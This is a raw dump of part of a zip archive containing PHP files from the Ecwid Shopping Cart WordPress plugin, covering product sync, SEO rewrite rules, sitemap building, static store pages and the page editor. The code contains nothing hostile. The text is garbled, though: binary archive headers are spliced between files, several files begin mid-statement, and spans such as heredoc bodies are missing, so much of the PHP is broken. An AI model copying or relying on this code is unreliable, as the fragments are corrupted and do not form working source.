wp_delete_post( $post_id ); $this->_status_event( array( 'event' => 'deleted_product', 'product' => $product ) ); } else { $this->_status_event( array( 'event' => 'skipped_deleted', 'product' => $product ) ); } $this->_status->update_last_deleted($product->date); } if ( $products->total < $offset + $limit || @$settings['one_at_a_time'] ) { return true; } $offset += $limit; } } protected function _status_event($event) { if ($this->_sync_progress_callback) { call_user_func($this->_sync_progress_callback, $event); } } protected function _upload_product_thumbnail( $product, $post_id ) { if ( !@$product->imageUrl ) { return; } $file = download_url( $product->imageUrl ); if (is_wp_error($file)) return; $uploaded = wp_upload_bits( basename( $product->imageUrl ), NULL, file_get_contents( $file ) ); unlink( $file ); $filetype = wp_check_filetype( $uploaded['file'], NULL ); $file = $uploaded['file']; $wp_upload_dir = wp_upload_dir(); $attachment = array( 'guid' => $wp_upload_dir['url'] . '/' . basename( $file ), 'post_mime_type' => $filetype['type'], 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $file ) ), 'post_content' => '', 'post_status' => 'inherit' ); $attachment_id = wp_insert_attachment( $attachment, $file, $post_id ); $attach_data = wp_generate_attachment_metadata( $attachment_id, $file ); wp_update_attachment_metadata( $attachment_id, $attach_data ); set_post_thumbnail( $post_id, $attachment_id ); } } class Ecwid_Products_Sync_Status { const OPTION_UPDATE_TIME = 'update_time'; const OPTION_LAST_PRODUCT_UPDATE_TIME = 'last_product_update_time'; const OPTION_LAST_PRODUCT_DELETE_TIME = 'last_product_delete_time'; const OPTION_LAST_UPDATED_POST_ID = 'last_updated_post_id'; public $last_sync_time; public $last_updated_product_time; public $last_deleted_product_time; public $current_operation; public $error; protected $_last_updated_post_id; public function load() { $this->last_sync_time = EcwidPlatform::get(self::OPTION_UPDATE_TIME, 0); $this->last_updated_product_time = EcwidPlatform::get(self::OPTION_LAST_PRODUCT_UPDATE_TIME, 0); $this->last_deleted_product_time = EcwidPlatform::get(self::OPTION_LAST_PRODUCT_DELETE_TIME, 0); } public function get_last_sync_time() { return $this->last_sync_time; } public function update_last_sync_time($date) { $this->_set_date_option(self::OPTION_UPDATE_TIME, $date); $this->last_sync_time = $date; $this->update_last_deleted($date); $this->update_last_updated($date); } public function update_last_deleted($date) { $this->_set_date_option(self::OPTION_LAST_PRODUCT_DELETE_TIME, $date); } public function set_last_updated_post_id($id) { EcwidPlatform::set(self::OPTION_LAST_UPDATED_POST_ID, $id); } public function update_last_updated($date) { $this->_set_date_option(self::OPTION_LAST_PRODUCT_UPDATE_TIME, $date); } public function get_updated_from() { if (!$this->last_updated_product_time) { return $this->get_last_sync_time(); } return $this->last_updated_product_time; } public function get_deleted_from() { if (!$this->last_deleted_product_time) { return $this->get_last_sync_time(); } return $this->last_deleted_product_time; } public function _set_date_option($option, $date) { if (!is_int($date)) { $date = strtotime($date); } EcwidPlatform::set($option, $date); } public static function reset_dates() { foreach( array( self::OPTION_LAST_PRODUCT_DELETE_TIME, self::OPTION_LAST_PRODUCT_UPDATE_TIME, self::OPTION_UPDATE_TIME ) as $option) { EcwidPlatform::set($option, 0); } } } $ecwid_products = new Ecwid_Products();PKÊ—[t3ÿƒ0ƒ06ecwid-shopping-cart/includes/class-ecwid-seo-links.phpnu„[µü¤are_base_urls_ok() ) { flush_rewrite_rules(); } } } public function check_base_urls_on_edit_store_page() { $current_screen = get_current_screen(); if ( $current_screen->base != 'post' || !in_array( $current_screen->post_type, array( 'post', 'page' ) ) ) { return; } $id = (isset( $_GET['post'] )) ? $_GET['post'] : false; if ( !$id ) { return; } if ( Ecwid_Store_Page::is_store_page( $id ) ) { if ( !$this->are_base_urls_ok() ) { flush_rewrite_rules(); } } } public function check_base_urls_on_view_store_page_as_admin() { $id = get_the_ID(); if ( Ecwid_Store_Page::is_store_page( $id ) ) { if ( !$this->are_base_urls_ok() ) { flush_rewrite_rules(); } } } public function on_fresh_install() { add_option( self::OPTION_ENABLED, 'Y' ); } public function on_plugin_update() { add_option( self::OPTION_ENABLED, '' ); } public function redirect_canonical( $redir, $req ) { if ($this->is_store_on_home_page() && get_queried_object_id() == get_option('page_on_front')) { return false; } return $redir; } public function redirect_escaped_fragment() { if ( ecwid_should_display_escaped_fragment_catalog() ) { $params = ecwid_parse_escaped_fragment( $_GET[ '_escaped_fragment_' ] ); if ( !isset( $params[ 'mode' ] ) ) { return; } if ( $params['mode'] == 'product' ) { $redirect = Ecwid_Store_Page::get_product_url( $params['id'] ); } else if ($params['mode'] == 'category') { $redirect = Ecwid_Store_Page::get_category_url( $params['id'] ); } if ($redirect) { wp_redirect( $redirect, 301 ); } } } public function get_shortlink( $shortlink ) { if ( self::is_product_browser_url() ) { return ''; } return $shortlink; } public function is_post_slug_bad( $value, $slug, $type = '', $parent = '' ) { if ( !$this->is_store_on_home_page() ) { return $value; } if ( $this->slug_matches_seo_pattern( $slug ) ) { return true; } return $value; } public function slug_matches_seo_pattern($slug) { static $pattern = ''; if ( !$pattern ) { $patterns = self::get_seo_links_patterns(); $pattern = '!(^' . implode('$|^', $patterns) . '$)!'; } return preg_match($pattern, $slug); } protected static function get_seo_links_patterns() { return array( '.*-p([0-9]+)(\/.*|\?.*)?', '.*-c([0-9]+)(\/.*|\?.*)?', 'cart', 'checkout.*', 'account', 'account\/settings', 'account\/orders', 'account\/address-book', 'account\/favorites', 'search', 'search\?.*', 'signin', 'pages\/about', 'pages\/shipping-payment', 'pages\/returns', 'pages\/terms', 'pages\/privacy-policy', 'signIn.*', 'resetPassword.*', 'checkoutAB.*', 'downloadError.*', 'orderFailure.*', 'checkoutCC.*', 'checkoutEC.*', 'checkoutAC.*', 'FBAutofillCheckout.*' ); } public function is_store_on_home_page() { $front_page = get_option( 'page_on_front' ); if ( !$front_page ) { return false; } if ( Ecwid_Store_Page::is_store_page( $front_page ) ) { return true; } return false; } public function add_js_config( $config ) { $page_id = get_queried_object_id(); $has_store = Ecwid_Store_Page::is_store_page( $page_id ); if ( !$has_store ) { if ( !Ecwid_Ajax_Defer_Renderer::is_enabled() ) { return $config; } } if ( Ecwid_Api_V3::is_available() && self::is_404_seo_link() ) { return $config; } $url = esc_js( get_permalink( $page_id ) ); if( parse_url($url, PHP_URL_SCHEME) == 'https' && parse_url($url, PHP_URL_PORT) == '443' ) { $url = str_replace( ':443', '', $url ); } $result = <<id ) || !$result->enabled ) ) { return true; } return false; } public static function maybe_extract_html_catalog_params() { $current_url = add_query_arg( null, null ); $matches = array(); if ( !preg_match( self::_get_pb_preg_pattern(), $current_url, $matches ) ) { return array(); } $modes = array( 'p' => 'product', 'c' => 'category' ); return array( 'mode' => $modes[$matches[1]], 'id' => $matches[2] ); } public static function is_product_browser_url( $url = '' ) { if (!$url) { $url = add_query_arg( null, null ); } return preg_match( self::_get_pb_preg_pattern(), $url ); } public static function is_seo_link() { if ( !Ecwid_Store_Page::is_store_page() ) return false; $url = add_query_arg( null, null ); $link = urldecode( self::_get_relative_permalink( get_the_ID() ) ); $site_url = parse_url( get_bloginfo('url') ); $site_path = (isset($site_url['path'])) ? $site_url['path'] : ''; foreach ( self::get_seo_links_patterns() as $pattern ) { $pattern = '#' . $site_path . preg_quote( $link ) . $pattern . '#'; if ( preg_match( $pattern, $url ) ) { return true; } } return false; } protected static function _get_pb_preg_pattern() { return $pattern = '!.*-(p|c)([0-9]+)(\/.*|\?.*)?$!'; } public function build_rewrite_rules( ) { if ( !self::is_enabled() ) return; $all_base_urls = $this->_build_all_base_urls(); foreach ( $all_base_urls as $page_id => $links ) { $patterns = self::get_seo_links_patterns(); $post = get_post( $page_id ); if ( ! $post ) continue; if ( !in_array( $post->post_type, array( 'page', 'post' ) ) ) continue; $param_name = $post->post_type == 'page' ? 'page_id' : 'p'; foreach ( $links as $link ) { $link = trim( $link, '/' ); if (strpos($link, 'index.php') !== 0) { $link = '^' . preg_quote( $link ); } foreach ( $patterns as $pattern ) { add_rewrite_rule( $link . '/' . $pattern . '.*', 'index.php?' . $param_name . '=' . $page_id, 'top' ); } } } if ( $this->is_store_on_home_page() ) { $patterns = self::get_seo_links_patterns(); foreach ( $patterns as $pattern ) { add_rewrite_rule( '^' . $pattern . '$', 'index.php?page_id=' . get_option( 'page_on_front' ), 'top' ); } } update_option( self::OPTION_ALL_BASE_URLS, array_merge( $all_base_urls, array( 'home' => $this->is_store_on_home_page() ) ) ); } public function are_base_urls_ok() { if (! self::is_feature_available() ) { return true; } $all_base_urls = $this->_build_all_base_urls(); $flattened = array(); foreach ( $all_base_urls as $page_id => $links ) { foreach ( $links as $link ) { $flattened[$link] = $link; } } $saved = get_option( self::OPTION_ALL_BASE_URLS ); if ( empty( $saved ) || !is_array( $saved ) ) { return false; } $saved_home = false; if ( isset( $saved['home'] ) ) { $saved_home = $saved['home']; unset( $saved['home'] ); } $flattened_saved = array(); foreach ( $saved as $page_id => $links ) { foreach ( $links as $link ) { $flattened_saved[$link] = $link; } } $rules = get_option( 'rewrite_rules' ); if ( empty( $rules ) ) return false; foreach ( $flattened as $link ) { $link = trim( $link, '/' ); $patterns = self::get_seo_links_patterns(); $pattern = $patterns[0]; $rules_pattern = '^' . $link . '/' . $pattern . '.*'; if ( !array_key_exists( $rules_pattern, $rules ) ) { return false; } } $are_the_same = array_diff( $flattened, $flattened_saved ); return empty( $are_the_same ) && $saved_home == $this->is_store_on_home_page(); } protected function _build_all_base_urls() { $base_urls = array(); $pages = Ecwid_Store_Page::get_store_pages_array(); if ( is_array( $pages ) ) { foreach ( $pages as $page_id ) { if ( !isset( $base_urls[$page_id] ) ) { $base_urls[$page_id] = array(); } $link = urldecode( self::_get_relative_permalink( $page_id, true ) ); $base_urls[$page_id][] = $link; } } return $base_urls; } protected static function _get_relative_permalink( $item_id, $not_filter_return_value = false ) { $permalink = parse_url( get_permalink( $item_id ) ); $home_url = parse_url( home_url() ); if( !isset($permalink['path']) ) $permalink['path'] = '/'; if( !isset($home_url['path']) ) $home_url['path'] = ''; if( isset($home_url['query']) ) { $home_url['path'] = substr( $home_url['path'], 0, -1 ); } $default_link = substr( $permalink['path'], strlen( $home_url['path'] ) ); if( $not_filter_return_value ) { return $default_link; } return apply_filters( 'ecwid_relative_permalink', $default_link, $item_id ); } public static function is_noindex_page() { if ( !Ecwid_Store_Page::is_store_page() ) { return false; } $relative_permalink = self::_get_relative_permalink( get_the_ID() ); $noindex_pages = array( 'cart', 'account', 'checkout', 'signin' ); $home_url = home_url(); $path = parse_url( $home_url, PHP_URL_PATH ); $seo_part = str_replace( $path . $relative_permalink, '', $_SERVER['REQUEST_URI'] ); foreach ( $noindex_pages as $page ) { if ( preg_match( '!' . $page . '([\?\/]+.*|)$' . '!', $seo_part ) ) { return true; } } return false; } public static function is_enabled() { return self::is_feature_available() && get_option( self::OPTION_ENABLED ); } public static function enable() { update_option( self::OPTION_ENABLED, true ); Ecwid_Store_Page::schedule_flush_rewrites(); ecwid_invalidate_cache( true ); } public static function disable() { update_option( self::OPTION_ENABLED, false ); Ecwid_Store_Page::schedule_flush_rewrites(); ecwid_invalidate_cache( true ); } public static function is_feature_available() { $permalink = get_option( 'permalink_structure' ); return $permalink != ''; } public static function should_display_option() { return ecwid_migrations_is_original_plugin_version_older_than( '5.2' ) || !self::is_enabled(); } } $ecwid_seo_links = new Ecwid_Seo_Links();PKÊ—[{Z?VØØ<ecwid-shopping-cart/includes/class-ecwid-sitemap-builder.phpnu„[µü¤callback = $callback; $this->base_url = $base_url; } public function generate() { $api = new Ecwid_Api_V3(); $offset = 0; $limit = 100; do { $categories = $api->get_categories( array( 'offset' => $offset, 'limit' => $limit ) ); if ($categories->items) { foreach ($categories->items as $item) { $url = $item->url; call_user_func( $this->callback, $url, self::PRIORITY_CATEGORY, 'weekly', $item ); } } $offset += $limit; } while ($categories->count > 0); $offset = 0; do { $products = $api->search_products( array( 'offset' => $offset, 'limit' => $limit ) ); if ($products->items) { foreach ($products->items as $item) { if ( $item->enabled ) { $url = $item->url; call_user_func( $this->callback, $url, self::PRIORITY_PRODUCT, 'weekly', $item ); } } } $offset += $limit; } while ($products->count > 0); return true; } }PKÊ—[ØÆÂâ]]8ecwid-shopping-cart/includes/class-ecwid-static-page.phpnu„[µü¤ $item ) { wp_enqueue_style( 'ecwid-' . self::HANDLE_STATIC_PAGE . '-' . $index, $item, array(), null ); } } } public function apply_theme( $theme ) { if ( $theme ) { $this->_has_theme_adjustments = true; } } public static function get_data_for_current_page() { if ( current_user_can( Ecwid_Admin::get_capability() ) ) { add_action( 'wp_enqueue_scripts', 'ecwid_enqueue_cache_control', 100 ); } $data = self::_maybe_fetch_data(); return $data; } protected static function _get_endpoint_url( $params = false ){ if( !$params ) { if ( ecwid_is_applicable_escaped_fragment() ) { $params = ecwid_parse_escaped_fragment( $_GET['_escaped_fragment_'] ); } else { $params = Ecwid_Seo_Links::maybe_extract_html_catalog_params(); } } if( !isset( $params['mode'] ) ) { $params['mode'] = 'home'; } $url = self::API_URL; $url .= sprintf( '%s-page/', $params['mode'] ); $url .= sprintf( '%s/', get_ecwid_store_id() ); if( isset( $params['id'] ) ) { $url .= sprintf( '%s/', $params['id'] ); } $url .= 'static-code?'; return $url; } protected static function _maybe_fetch_data() { $version = get_bloginfo('version'); $pb_attribures = array(); if ( strpos( $version, '5.0' ) === 0 || version_compare( $version, '5.0' ) > 0 ) { $pb_attribures = Ecwid_Product_Browser::get_attributes(); } $store_page_params = Ecwid_Store_Page::get_store_page_params(); $endpoint_params = false; $params = array(); if ( Ecwid_Seo_Links::is_enabled() ) { $params['clean_links'] = 'true'; $params['base_url'] = get_permalink(); } if ( array_key_exists( 'offset', $_GET ) ) { $params['offset'] = intval( $_GET['offset'] ); } if( !array_key_exists( 'category', $_GET) && isset( $store_page_params['default_category_id'] ) && $store_page_params['default_category_id'] > 0 ) { $params['default_category_id'] = $store_page_params['default_category_id']; } $accept_language = apply_filters( 'ecwid_lang', @$_SERVER['HTTP_ACCEPT_LANGUAGE'] ); $params['lang'] = $accept_language; foreach ( $pb_attribures as $attribute ) { $name = $attribute['name']; if ( @$attribute['is_storefront_api'] && isset( $store_page_params[$name] ) ) { if ( @$attribute['type'] == 'boolean' ) { $value = $store_page_params[$name] ? 'true' : 'false'; } else { $value = $store_page_params[$name]; } if( strpos($name, 'chameleon') !== false ) { $name = str_replace('chameleon_', '', $name); $params['tplvar_ec.chameleon.' . $name] = $value; } else { $params['tplvar_ec.storefront.' . $name] = $value; } } } if( !empty( $_COOKIE['ec_store_chameleon_font'] ) ) { $params['tplvar_ec.chameleon.font_family'] = stripslashes( $_COOKIE['ec_store_chameleon_font'] ); } $hreflang_items = apply_filters( 'ecwid_hreflangs', null ); if( !empty( $hreflang_items ) ) { foreach ($hreflang_items as $lang => $link) { $params['international_pages[' . $lang . ']'] = $link; } } $url = self::_get_endpoint_url( $endpoint_params ); foreach ( $params as $name => $value ) { $url .= $name . '=' . urlencode( $value ) . '&'; } $url = substr( $url, 0, -1 ); $cache_key = $url; $cached_data = EcwidPlatform::get_from_catalog_cache( $cache_key ); if ( $cached_data ) { return $cached_data; } $fetched_data = null; $fetched_data = EcwidPlatform::fetch_url( $url, array( 'timeout' => 3, 'headers' => array( 'ACCEPT-LANGUAGE' => $accept_language ) ) ); if ( $fetched_data && @$fetched_data['data'] ) { $fetched_data = @json_decode( $fetched_data['data'] ); if( isset( $fetched_data->lastUpdated ) ) { $last_update = substr( $fetched_data->lastUpdated, 0, -3 ); } else { $last_update = time(); } EcwidPlatform::invalidate_catalog_cache_from( $last_update ); EcwidPlatform::store_in_catalog_cache( $cache_key, $fetched_data ); return $fetched_data; } return null; } public static function _get_data_field( $field ) { $data = self::get_data_for_current_page(); if( isset( $data->$field ) ) { $data->$field = apply_filters( 'ecwid_static_page_field_' . strtolower($field), $data->$field ); return $data->$field; } return false; } public static function get_css_files() { return self::_get_data_field( 'cssFiles' ); } public static function get_html_code() { return self::_get_data_field( 'htmlCode' ); } public static function get_js_code() { return self::_get_data_field( 'jsCode' ); } public static function get_title() { $title = self::_get_data_field( 'metaDescriptionHtml' ); if( $title ) { $title = preg_replace( '/(.*?)<\/title>(.*)/is', '$1', $title ); $title = trim( $title ); } return $title; } public static function get_meta_description_html() { $description = self::_get_data_field( 'metaDescriptionHtml' ); if( $description ) { $description = preg_replace( '/<title>.*?<\/title>/i', '', $description ); } return $description; } public static function get_canonical_url() { return self::_get_data_field( 'canonicalUrl' ); } public static function get_og_tags_html() { return self::_get_data_field( 'ogTagsHtml' ); } public static function get_json_ld_html() { return self::_get_data_field( 'jsonLDHtml' ); } public static function get_href_lang_html() { return self::_get_data_field( 'hrefLangHtml' ); } public static function get_last_update() { return self::_get_data_field( 'lastUpdated' ); } public static function is_data_available() { if( self::get_last_update() ){ return true; } return false; } public static function is_enabled_static_home_page() { $html_catalog_params = Ecwid_Seo_Links::maybe_extract_html_catalog_params(); $is_home_page = empty( $html_catalog_params ); if( !$is_home_page ) { return false; } $store_page_params = Ecwid_Store_Page::get_store_page_params(); if ( @$store_page_params['default_product_id'] ) { return false; } if ( array_key_exists( 'ec-enable-static-page', $_GET ) ) { return true; } if ( !EcwidPlatform::is_catalog_cache_trusted() ) { return false; } if ( get_option( self::OPTION_IS_ENABLED ) == self::OPTION_VALUE_ENABLED ) { return true; } if ( !self::is_feature_available() ) { return false; } if ( get_option( self::OPTION_IS_ENABLED ) == self::OPTION_VALUE_DISABLED ) { return false; } if ( get_option( self::OPTION_IS_ENABLED ) == '' ) { return true; } return false; } public static function is_feature_available() { $api = new Ecwid_Api_V3(); return $api->is_store_feature_enabled( Ecwid_Api_V3::FEATURE_NEW_PRODUCT_LIST ); } } $__ecwid_static_page = new Ecwid_Static_Page();PK������Ê—[ÆS©¸ ��¸ ��9��ecwid-shopping-cart/includes/class-ecwid-store-editor.phpnu�„[µü¤��������<?php class Ecwid_Store_Editor { public function __construct() { $version = get_bloginfo( 'version' ); if ( version_compare( $version, '3.5' ) < 0 ) { return; } add_action( 'template_redirect', array( $this, 'get_store_svg' ) ); add_action( 'current_screen', array($this, 'init') ); } public function init() { $current_screen = get_current_screen(); if ( $current_screen->base != 'post' || !in_array( $current_screen->post_type, array( 'post', 'page' ) ) ) { return; } if ( is_plugin_active( 'elementor/elementor.php' ) && @$_GET['action'] == 'elementor' ) { return; } if ( is_plugin_active( 'gutenberg/gutenberg.php' ) && !isset( $_GET['classic-editor'] ) ) { return; } add_filter( 'mce_external_plugins', array( $this, 'add_mce_plugin' ) ); add_action( 'media_buttons_context', array( $this, 'add_editor_button' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'add_scripts' ) ); add_action( 'in_admin_header', array( $this, 'add_popup' ) ); } public function add_mce_plugin($plugins) { $plugins_array = array( 'ecwid' => ECWID_PLUGIN_URL . 'js/store-editor-mce.js', 'ecwid_common' => ECWID_PLUGIN_URL . 'js/store-editor-common.js', ); return array_merge($plugins, $plugins_array); } public function add_editor_button($context) { $image_code = file_get_contents( ECWID_PLUGIN_DIR . 'images/store.svg' ); $title = __( 'Add Store', 'ecwid-shopping-cart' ); $button = <<<HTML <button id="insert-ecwid-button" class="button add-ecwid ecwid_button" title="$title"> <span class="ecwid-store-icon">$image_code</span> $title </button> HTML; $title = __( 'Edit Store', 'ecwid-shopping-cart' ); $button .= <<<HTML <button id="update-ecwid-button" class="button update-ecwid ecwid_button" title="$title"> <span class="ecwid-store-icon">$image_code</span> $title </button> HTML; return $context . $button; } public function add_scripts() { wp_enqueue_style( 'ecwid-store-editor-css', ECWID_PLUGIN_URL . 'css/store-popup.css', array(), get_option('ecwid_plugin_version') ); wp_enqueue_script( 'ecwid-store-editor-common-js', ECWID_PLUGIN_URL . 'js/store-editor-common.js', array(), get_option('ecwid_plugin_version') ); wp_enqueue_script( 'ecwid-store-editor-page-js', ECWID_PLUGIN_URL . 'js/store-editor-page.js', array(), get_option('ecwid_plugin_version') ); wp_localize_script( 'ecwid-store-editor-page-js', 'ecwid_i18n', array( 'edit_store_appearance' => __( 'Edit Appearance', 'ecwid-shopping-cart' ) ) ); wp_localize_script( 'ecwid-store-editor-page-js', 'ecwid_pb_defaults', ecwid_get_default_pb_size() ); add_editor_style( ECWID_PLUGIN_URL . 'css/page-editor.css' ); } public function get_store_svg() { // TODO: Move this to admin-post if (isset($_GET['file']) && $_GET['file'] == 'ecwid_store_svg.svg' && current_user_can('administrator')) { ecwid_load_textdomain(); header( 'Content-type: image/svg+xml' ); require_once( ECWID_PLUGIN_DIR . 'templates/store-svg.php' ); die(); } } public function add_popup() { $categories = ecwid_get_categories_for_selector(); require_once( ECWID_PLUGIN_DIR . 'templates/store-popup.php' ); } } $ecwid_store_editor = new Ecwid_Store_Editor(); PK������Ê—[-ëT@h/��h/��7��ecwid-shopping-cart/includes/class-ecwid-store-page.phpnu�„[µü¤��������<?php class Ecwid_Store_Page { const OPTION_STORE_PAGES = 'ecwid_store_pages'; const OPTION_MAIN_STORE_PAGE_ID = 'ecwid_store_page_id'; const OPTION_LAST_STORE_PAGE_ID = 'ecwid_last_store_page_id'; const OPTION_FLUSH_REWRITES = 'ecwid_flush_rewrites'; const OPTION_REPLACE_TITLE = 'ecwid_replace_title'; const WARMUP_ACTION = 'ecwid_warmup_store'; const META_STORE_DATA = 'ecwid_store'; protected static $_store_pages = false; public static function get_product_url( $id ) { $product = Ecwid_Product::get_by_id( $id ); $url = $product->link; if ( $url ) { return $url; } return self::get_product_url_default_fallback( $id ); } public static function get_product_url_from_api( $id ) { if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $product = $api->get_product( $id ); if ( $product ) { return $product->url; } } return ''; } public static function get_product_url_default_fallback( $id ) { return self::get_store_url() . '#!/p/' . $id; } public static function get_category_url( $id ) { $category = Ecwid_Category::get_by_id( $id ); $url = $category->link; if ( $url ) { return $url; } if ( $id == 0 ) { return self::get_store_url(); } if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $category = $api->get_category( $id ); if ( $category ) { $url = $category->url; return $url; } } return self::get_store_url() . '#!/c/' . $id; } public static function get_menu_item_url( $menu_item ) { $suffix = ''; if ( Ecwid_Seo_Links::is_enabled() ) { $suffix = $menu_item['ecwid-page']; if ( $suffix == '/' ) { $suffix = ''; } } else { $suffix = '#!' . $menu_item['url']; } return self::get_store_url() . $suffix; } public static function get_cart_url() { if ( Ecwid_Seo_Links::is_enabled() ) { return untrailingslashit( self::get_store_url() ) . '/cart'; } else { return self::get_store_url() . '#!/~/cart'; } } public static function get_store_url() { static $link = null; if ( is_null( $link ) ) { $id = self::get_current_store_page_id(); if ( !$id ) { return get_bloginfo( 'url' ); } $link = get_permalink( $id ); } return $link; } public static function save_store_page_params( $data ) { $existing = self::get_store_page_params(); $data = array_merge( $existing, $data ); EcwidPlatform::cache_set( self::_get_store_page_data_key(), $data ); } public static function get_store_page_params( $page_id = 0 ) { $params = EcwidPlatform::cache_get( self::_get_store_page_data_key( $page_id ), array() ); if ( !empty( $params) ) return $params; return array(); } protected static function _get_store_page_data_key( $page_id = 0 ) { $post = get_post( $page_id ); if ( !$post ) return; return get_ecwid_store_id() . '_' . $post->ID . '_' . $post->post_modified_gmt; } public static function get_page_base_url( $page = 0 ) { return urldecode( get_page_uri( $page ) ); } public static function get_current_store_page_id() { static $page_id = null; if ( is_null( $page_id ) ) { $page_id = false; $id = get_option( self::OPTION_MAIN_STORE_PAGE_ID ); if ( $id ) { $post = get_post( $id ); $changed = false; while ( is_null( $post ) ) { $changed = true; $pages = self::get_store_pages_array(); $ind = array_search( $id, $pages ); if ( $ind !== false ) { unset($pages[$ind]); $pages = self::_set_store_pages($pages); } if ( count( $pages ) == 0 ) { return false; } $id = $pages[0]; $post = get_post($id); } $status = get_post_status( $id ); if (in_array($status, self::_get_allowed_post_statuses())) { $page_id = $id; if ( $changed ) { update_option( self::OPTION_MAIN_STORE_PAGE_ID, $id ); } } } } return $page_id; } public static function is_store_page( $page_id = 0 ) { if (!$page_id) { $page_id = get_the_ID(); } $pages = self::get_store_pages_array(); return in_array( $page_id, $pages ); } public static function add_store_page( $page_id = 0 ) { $pages = self::get_store_pages_array(); if ( in_array( $page_id, $pages ) ) { return; } $pages[] = $page_id; if ( count( $pages ) == 1 || !get_option( self::OPTION_MAIN_STORE_PAGE_ID ) ) { update_option( self::OPTION_MAIN_STORE_PAGE_ID, $page_id ); } self::_set_store_pages( $pages ); self::schedule_flush_rewrites(); } public static function reset_store_page( $page_id ) { $pages = self::get_store_pages_array(); $index = array_search( $page_id, $pages ); if ( $index === false ) { return; } unset( $pages[$index] ); ecwid_reset_categories_cache(); $pages = self::_set_store_pages( $pages ); if ( $page_id == get_option( self::OPTION_MAIN_STORE_PAGE_ID ) ) { if ( isset( $pages[0] ) ) { $new_page = $pages[0]; // we prefer pages, not posts foreach( $pages as $page ) { if ( get_post($page) && get_post($page)->post_type == 'page' ) { $new_page = $page; } } update_option( self::OPTION_MAIN_STORE_PAGE_ID, $new_page ); } else { update_option( self::OPTION_MAIN_STORE_PAGE_ID, '' ); } } } public static function get_store_pages_array() { if ( self::$_store_pages ) { return self::$_store_pages; } $pages = get_option( self::OPTION_STORE_PAGES ); if ( !$pages || !is_string( $pages ) ) { $pages = ''; } self::$_store_pages = explode( ',', $pages ); self::$_store_pages[] = get_option( self::OPTION_MAIN_STORE_PAGE_ID ); self::$_store_pages = array_values( array_filter( array_unique( self::$_store_pages ) ) ); return self::$_store_pages; } public static function get_store_pages_array_for_selector() { $pages = self::get_store_pages_array(); foreach ( $pages as $ind => $page ) { $post = get_post($page); if ( $page != self::get_current_store_page_id() && isset( $post ) && $post->post_type != 'page' ) { unset( $pages[$ind] ); } } return $pages; } public static function schedule_flush_rewrites() { update_option( self::OPTION_FLUSH_REWRITES, 1 ); } public static function flush_rewrites() { if ( get_option( self::OPTION_FLUSH_REWRITES ) == 1) { flush_rewrite_rules(); } update_option( self::OPTION_FLUSH_REWRITES, 0 ); } protected static function _set_store_pages( $pages ) { self::$_store_pages = array_values( array_filter( $pages ) ); $option_value = implode( ',', $pages ); update_option( self::OPTION_STORE_PAGES, $option_value ); return self::$_store_pages; } public static function post_content_has_productbrowser( $post_id = null ) { if ( is_null( $post_id ) ) { if ( is_admin() ) return false; $post_id = get_the_ID(); } $result = false; $post = get_post($post_id); if ( $post ) { $post_content = get_post( $post_id )->post_content; $result = ecwid_content_has_productbrowser( $post_content ); $result = apply_filters( 'ecwid_page_has_product_browser', $result ); } return $result; } public static function update_main_store_page_id( $new_id ) { if ( self::post_content_has_productbrowser( $new_id ) ) { update_option( self::OPTION_MAIN_STORE_PAGE_ID, $new_id ); } } public static function on_save_post( $post_id ) { if ( wp_is_post_revision( $post_id ) ) return; $has_pb = self::post_content_has_productbrowser( $post_id ); $is_allowable_post_type = in_array( get_post_type( $post_id ), array( 'page', 'post' ) ); if ( self::is_store_page( $post_id ) ) { $is_disabled = !in_array( get_post_status( $post_id ), self::_get_allowed_post_statuses() ); if ( $is_disabled || !$has_pb ) { self::reset_store_page( $post_id ); } } if ( $is_allowable_post_type && $has_pb ) { ecwid_reset_categories_cache(); } if ( $is_allowable_post_type && $has_pb && in_array( get_post_status( $post_id ), self::_get_allowed_post_statuses() ) ) { self::add_store_page( $post_id ); } else if ( get_option( self::OPTION_MAIN_STORE_PAGE_ID ) == $post_id ) { update_option( self::OPTION_LAST_STORE_PAGE_ID, $post_id ); update_option( self::OPTION_MAIN_STORE_PAGE_ID, '' ); } } protected static function _get_allowed_post_statuses() { return array('publish', 'private'); } public static function warmup_store() { $store_page = get_post( self::get_current_store_page_id() ); if ( !$store_page ) { return; } $shortcodes = array(); foreach ( Ecwid_Shortcode_Base::get_store_shortcode_names() as $shortcode_name ) { $shortcodes[] = ecwid_find_shortcodes( $store_page->post_content, $shortcode_name ); } if ( sizeof( $shortcodes ) == 0 ) { return; } $shortcode_data = $shortcodes[0]; $category = 0; if ( isset( $shortcode_data[3] ) ) { $attributes = shortcode_parse_atts($shortcode_data[3]); if ( !$attributes ) { return; } $category = $attributes['default_category_id']; } $page_url = get_permalink( $store_page ); include_once ECWID_PLUGIN_DIR . 'lib/ecwid_catalog.php'; $catalog = new EcwidCatalog(get_ecwid_store_id(), $page_url); $catalog->warmup_store_page(intval($category)); } /* If you figure out a better place to put this the_title functionality, go ahead, move it =) */ static $main_page_title = ''; static public function enqueue_original_page_title( ) { if ( !get_option( self::OPTION_REPLACE_TITLE, false ) || !Ecwid_Store_Page::is_store_page() ) { return; } $script = 'dynamic-title'; EcwidPlatform::enqueue_script( $script, array( 'jquery' ), true ); wp_localize_script( EcwidPlatform::make_handle( $script ), 'ecwidOriginalTitle', array( 'initialTitle' => get_the_title(), 'mainPageTitle' => self::$main_page_title ) ); } static public function the_title( $title ) { if ( ! self::is_store_page() || !get_option( self::OPTION_REPLACE_TITLE, false ) ) return $title; self::$main_page_title = $title; return $title; } static public function display_post_states( $states, $post ) { if ( in_array( $post->ID, self::get_store_pages_array() ) ) { $states[] = sprintf( __( '%s Store Page', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); } return $states; } static public function set_store_url() { $store_url = Ecwid_Store_Page::get_store_url(); EcwidPlatform::cache_reset( Ecwid_Api_V3::PROFILE_CACHE_NAME ); $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); if ( empty($profile) ) { return; } if ( ecwid_is_demo_store() ) { return; } if ( in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1')) ) { return; } if ( $profile->generalInfo->storeUrl == $store_url ) { return; } $is_empty = in_array( $profile->generalInfo->storeUrl, array('http://', 'https://') ); $is_generated_url = $profile->generalInfo->storeUrl == $profile->generalInfo->starterSite->generatedUrl; $is_same_domain = wp_parse_url( $profile->generalInfo->storeUrl, PHP_URL_HOST ) == wp_parse_url( $store_url, 